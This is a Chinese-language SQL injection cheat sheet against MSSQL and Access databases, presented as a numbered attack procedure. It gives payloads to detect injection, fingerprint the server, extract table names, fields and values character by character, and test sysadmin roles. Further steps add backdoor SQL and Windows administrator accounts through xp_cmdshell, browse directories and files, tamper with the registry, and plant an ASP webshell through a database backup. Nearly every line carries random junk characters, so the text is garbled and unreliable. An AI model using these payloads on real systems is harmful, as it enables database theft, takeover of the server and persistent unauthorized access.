1.判断是否有注入;and 1=1 ;and 1=2 .l.a(_R
2.初步判断是否是mssql ;and user>0 ]]zPq<b2
0#nPbe,Lj
3.注入参数是字符'and [查询条件] and ''=' YW7b)uYf
oYukLr
4.搜索时没过滤参数的'and [查询条件] and '%25'=' [VE8V-
/`mks1:pK
5.判断数据库系统 <J^MCqp!v
h5(4*$%
;and (select count(*) from sysobjects)>0 mssql Hy^N!rBxfO
4^M
;and (select count(*) from msysobjects)>0 access N;\'N
ne
AvfNwE
y&V@^"`
zAiXo__x
6.猜数据库 ;and (select Count(*) from [数据库名])>0 rx] @A
G K7![p
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?#fu.YE\
E{|W(z,
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Y'8?.a]'
"1%5,
9.(1)猜字段的ascii值(access) V,cBk
+F^^c2E
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Ft&]7dT{W
`\}v#2VJ
(2)猜字段的ascii值(mssql) *{L)dW+:
H !$o$}A
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1,% R;7J=g
{GQ^fu;q
10.测试权限结构(mssql) INJEsz
0$ S8fF@
~^1 {B\I
CLUW!F
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- c-(UhN3WG
Ru>MFG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- oM>Z;QVRC:
)v.=jup[
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $42{HFGq
~XOTs
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- xCc[#0R{
eQ]~dA8>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0eDHu
/w}u3|L$
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- t:'Mh9h7u
wY[+ZT
;and 1=(select IS_MEMBER('db_owner'));-- L6|oyf
^SF&=NpV
;EP:o%r
w|K'M?N14
11.添加mssql和系统的帐户 oY H^_V
,Ge"anO
;exec master.dbo.sp_addlogin username;-- .nx2";oi
;exec master.dbo.sp_password null,username,password;-- ` 2V19s]
%5"9</a&G
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- G$F<$
Wa{` VS
;exec master.dbo.xp_cmdshell 'net user username password @eKec1<
) QU
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !
t?iXZ
@emK1iwm
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ezd_`_@R
D$I5z.a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- wNpTM8rfU#
j}.\]$J
CDK5
>JFO@O5
12.(1)遍历目录
/} b03
CTq&-l:f
;create table dirs(paths varchar(100), id int) Nh_Mz;ITuu
?kbiMs1;u
;insert dirs exec master.dbo.xp_dirtree 'c:\' c7x~{V8
4R1<nZ"e~
;and (select top 1 paths from dirs)>0 j i7[nY
Lr~=^{
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ix)M`F%P3
$QN"wL||
4NheWM6
UCB/=k^m
(2)遍历目录 5YeM%%-S
I
8`VNA&b
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3KlbP
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 gd`!tRcNY
i:Y^{\Z?V
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +M\`#i\g>
iJ1"at
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3TeY%5iVt
vqDu(6!2
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (MxQ+D\
MOQ*]fV:
d928~y
W
|
*2w5iR
13.mssql中的存储过程 1WxK#c-)
$P/~rZ@M@
xp_regenumvalues 注册表根键, 子键 PNgY>=Y
lrlgz[
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Czs8!S
1\
o59Y
xp_regread 根键,子键,键值名 Yg%I?
sBvzAVBL
;exec xp_regread ;-~B)M_S`
tE<H|_{L
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3no%E03p
`T@i. 'X
xp_regwrite 根键,子键, 值名, 值类型, 值 Lt?lv2k=L
Y']\Jq{OS
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 cQCSe,$ W
tkeoNuAM
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |"ls\ 7
Yvw(tj5_5
xp_regdeletevalue 根键,子键,值名 %Nlt H/I
M ?Y;a5{
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n'n/Tu
snE8 K}4
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 bzBEX mC
x<tb
s~ a"4~f
^}/PGG\~r
14.mssql的backup创建webshell le|~BG hL
>E;uU[v)I
use model \A 2r]
qeV fE_<
create table cmd(str image); @ym v< Mo
QwW&\h[8?
insert into cmd(str) values (''); y-'$(x
:~"CuB/
backup database model to disk='c:\l.asp'; g:g\>@Umo
-$,TMqM
t3 8m'J :>
X5zDpi|Dq
15.mssql内置函数 +rd|A|hRq
vyNxT* ,[K
;and (select @@version)>0 获得Windows的版本号 kbX8$xTM
4Tb
#fH%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa HSjlD{R
3`t#UY).F
;and (select user_name())>0 爆当前系统的连接用户 KrgFKRgGj
hZ?Rof
;and (select db_name())>0 得到当前连接的数据库 W <9T0sZ
,1~"eGl!
(y=C_wvqZ
UOv+T8f=
16.简洁的webshell k9sh @ENy
XRM_x:+]
use model $v4.sl:x
ysQ_[
]/
create table cmd(str image); RIWxs Zt
ugdQAg
insert into cmd(str) values (''); eBZXI)pPh
.F98G/s
backup database model to disk='g:\wwwtest\l.asp';